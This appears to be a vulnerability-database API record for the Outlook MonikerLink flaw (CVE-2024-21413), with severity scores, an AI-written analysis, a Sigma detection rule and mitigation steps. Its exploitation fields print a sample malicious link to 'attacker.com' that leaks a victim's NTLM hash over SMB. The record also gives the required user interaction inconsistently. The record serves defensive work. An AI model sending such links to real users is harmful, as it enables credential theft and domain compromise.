{"status":"success","data":{"id":"CVE-2024-21413","slug":"cve-2024-21413-microsoft-outlook-moniker-link-rce","title":"Microsoft Outlook Moniker Link Remote Code Execution (#MonikerLink)","summary":"Critical remote code execution vulnerability in Microsoft Outlook allowing NTLM hash leakage and remote code execution via preview pane click.","description":"Microsoft Outlook contains a remote code execution vulnerability known as #MonikerLink. When a user clicks a specially crafted hyperlink utilizing the `file://` protocol with an exclamation mark notation (e.g. `file:///\\\\host\\path\\file.docx!custom`), Outlook bypasses the Office Protected View sandbox and initiates local Component Object Model (COM) moniker resolution, transmitting NTLM authentication hashes and executing remote payloads without prompting security warnings.","severity":"CRITICAL","cvss_score":9.8,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_metrics":{"scope":"UNCHANGED","integrity":"HIGH","attackVector":"NETWORK","availability":"HIGH","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"NONE"},"epss_score":0.962,"epss_percentile":0.993,"cisa_kev":true,"cisa_date_added":"2024-03-07T00:00:00.000Z","cisa_due_date":"2024-03-28T00:00:00.000Z","ransomware_campaign":null,"threat_actors":["Forest Blizzard (APT28)","Storm-0978"],"exploit_status":"active_wild","cwes":[{"id":"CWE-94","name":"Improper Control of Generation of Code ('Code Injection')"},{"id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"affected_vendors":["Microsoft"],"affected_products":[{"cpe":"cpe:2.3:a:microsoft:365_apps:*:*:*:*:*:*:*:*","vendor":"Microsoft","product":"Microsoft 365 Apps for Enterprise","fixed_version":"February 2024 Security Updates (Build 16.0.17231.20236)","affected_versions":"Versions prior to February 2024 Patch Tuesday"},{"cpe":"cpe:2.3:a:microsoft:office:*:*:*:*:*:*:*:*","vendor":"Microsoft","product":"Microsoft Office 2016 / 2019 / LTSC 2021","fixed_version":"KB5002564 / KB5002565","affected_versions":"All unsupported/unpatched versions"}],"ai_analysis":{"sigma_rule":"title: Outlook Suspicious Moniker Link Invocation\nstatus: critical\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    ParentImage|endswith: '\\OUTLOOK.EXE'\n    CommandLine|contains: 'file:///'\n  condition: selection","analyzed_at":"2026-10-28T09:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"A severe zero-interaction Outlook vulnerability that leaks enterprise NTLM credentials and executes code via the email preview pane by exploiting file moniker parsing flaws.","detection_guidance":"Monitor outbound firewall logs for outbound TCP port 445 traffic from endpoint client subnets to unknown external IP addresses.","mitigation_playbook":["Deploy the February 2024 Microsoft Office updates across all workstations.","Block outbound SMB (TCP port 445) at enterprise perimeter firewalls to prevent NTLM leaks to external IP addresses.","Enable EPA (Extended Protection for Authentication) and restrict NTLM usage across the domain in favor of Kerberos."],"technical_root_cause":"Outlook sanitizes hyperlinks before launching the operating system handler. However, by appending `!x` to an SMB URI (`file:///\\\\attacker.com\\share\\doc.rtf!anything`), Outlook interprets the link as a composite moniker, bypassing its URL parsing security checks and invoking `MkParseDisplayName` directly.","exploitation_mechanism":"Attacker sends an email containing an HTML element `<a href=\"file:///\\\\attacker.com\\share!test\">Review Document</a>`. As soon as the victim clicks the link, Outlook reaches out to attacker.com over SMB (port 445), releasing the victim's NetNTLMv2 hash, which the attacker captures using Responder for cracking or relaying.","enterprise_blast_radius":"Immediate domain credential theft, NTLM relaying to Active Directory Certificate Services (AD CS), leading to full domain takeover."},"references":[{"url":"https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-cve-2024-21413/","type":"advisory","title":"Check Point Research: Moniker Link Discovery"},{"url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413","type":"patch","title":"Microsoft Security Update Guide"}],"published_at":"2024-02-13T18:00:00.000Z","updated_at":"2026-10-28T18:00:00.000Z"}}